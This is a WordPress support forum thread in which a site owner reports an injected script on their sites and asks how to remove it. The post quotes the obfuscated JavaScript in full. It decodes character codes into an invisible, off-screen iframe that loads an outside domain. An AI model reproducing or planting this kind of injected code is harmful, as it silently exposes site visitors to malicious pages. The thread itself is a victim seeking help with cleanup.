Title: Javascript Based Hack
Last modified: August 19, 2016

---

# Javascript Based Hack

 *  [Stanton](https://wordpress.org/support/users/stanton/)
 * (@stanton)
 * [16 years, 11 months ago](https://wordpress.org/support/topic/javascript-based-hack/)
 * I’ve been noticing that a few of my sites have been running slow. In the bottom
   of the address bar I can sometimes see a site loading called profitooltip.biz.
   I don’t have anything linked to that site.
 * With some discovery I see that this has been injected into the index.php that
   is in wp/content I have deleted and replaced the file but it still shows up when
   I view the source. It’s right under where the footer ends. I am in the process
   of upgrading to 2.7.1 but I want to know if there is something else I should 
   do because the upgrade could transfer the same files over.
 * How do I get rid of this injection?
 * `<script type="text/javascript">var eEEhjZPxBDEkiueTxUaH = "wMiJw60wMiJw105wMiJw102wMiJw114wMiJw97wMiJw109wMiJw101wMiJw32wMiJw119wMiJw105wMiJw100wMiJw116wMiJw104wMiJw61wMiJw34wMiJw52wMiJw56wMiJw48wMiJw34wMiJw32wMiJw104wMiJw101wMiJw105wMiJw103wMiJw104wMiJw116wMiJw61wMiJw34wMiJw54wMiJw48wMiJw34wMiJw32wMiJw115wMiJw114wMiJw99wMiJw61wMiJw34wMiJw104wMiJw116wMiJw116wMiJw112wMiJw58wMiJw47wMiJw47wMiJw112wMiJw114wMiJw111wMiJw102wMiJw105wMiJw116wMiJw111wMiJw111wMiJw108wMiJw116wMiJw105wMiJw112wMiJw46wMiJw98wMiJw105wMiJw122wMiJw47wMiJw115wMiJw101wMiJw97wMiJw114wMiJw99wMiJw104wMiJw47wMiJw109wMiJw97wMiJw112wMiJw115wMiJw46wMiJw104wMiJw116wMiJw109wMiJw108wMiJw34wMiJw32wMiJw115wMiJw116wMiJw121wMiJw108wMiJw101wMiJw61wMiJw34wMiJw98wMiJw111wMiJw114wMiJw100wMiJw101wMiJw114wMiJw58wMiJw48wMiJw112wMiJw120wMiJw59wMiJw32wMiJw112wMiJw111wMiJw115wMiJw105wMiJw116wMiJw105wMiJw111wMiJw110wMiJw58wMiJw114wMiJw101wMiJw108wMiJw97wMiJw116wMiJw105wMiJw118wMiJw101wMiJw59wMiJw32wMiJw116wMiJw111wMiJw112wMiJw58wMiJw48wMiJw112wMiJw120wMiJw59wMiJw32wMiJw108wMiJw101wMiJw102wMiJw116wMiJw58wMiJw45wMiJw53wMiJw48wMiJw48wMiJw112wMiJw120wMiJw59wMiJw32wMiJw111wMiJw112wMiJw97wMiJw99wMiJw105wMiJw116wMiJw121wMiJw58wMiJw48wMiJw59wMiJw32wMiJw102wMiJw105wMiJw108wMiJw116wMiJw101wMiJw114wMiJw58wMiJw112wMiJw114wMiJw111wMiJw103wMiJw105wMiJw100wMiJw58wMiJw68wMiJw88wMiJw73wMiJw109wMiJw97wMiJw103wMiJw101wMiJw84wMiJw114wMiJw97wMiJw110wMiJw115wMiJw102wMiJw111wMiJw114wMiJw109wMiJw46wMiJw77wMiJw105wMiJw99wMiJw114wMiJw111wMiJw115wMiJw111wMiJw102wMiJw116wMiJw46wMiJw65wMiJw108wMiJw112wMiJw104wMiJw97wMiJw40wMiJw111wMiJw112wMiJw97wMiJw99wMiJw105wMiJw116wMiJw121wMiJw61wMiJw48wMiJw41wMiJw59wMiJw32wMiJw45wMiJw109wMiJw111wMiJw122wMiJw45wMiJw111wMiJw112wMiJw97wMiJw99wMiJw105wMiJw116wMiJw121wMiJw58wMiJw48wMiJw34wMiJw62wMiJw60wMiJw47wMiJw105wMiJw102wMiJw114wMiJw97wMiJw109wMiJw101wMiJw62";
   var QtgQcGAHMMyqQDYzcnxe = eEEhjZPxBDEkiueTxUaH.split("wMiJw");var rBOZvsstNTAdNgtpmuwz
   = "";for (var GvqXyOXaCUFtWTSSMLLa=1; GvqXyOXaCUFtWTSSMLLa<QtgQcGAHMMyqQDYzcnxe.
   length; GvqXyOXaCUFtWTSSMLLa++){rBOZvsstNTAdNgtpmuwz+=String.fromCharCode(QtgQcGAHMMyqQDYzcnxe[
   GvqXyOXaCUFtWTSSMLLa]);}document.write(rBOZvsstNTAdNgtpmuwz)</script>`

The topic ‘Javascript Based Hack’ is closed to new replies.

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 0 replies
 * 1 participant
 * Last reply from: [Stanton](https://wordpress.org/support/users/stanton/)
 * Last activity: [16 years, 11 months ago](https://wordpress.org/support/topic/javascript-based-hack/)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics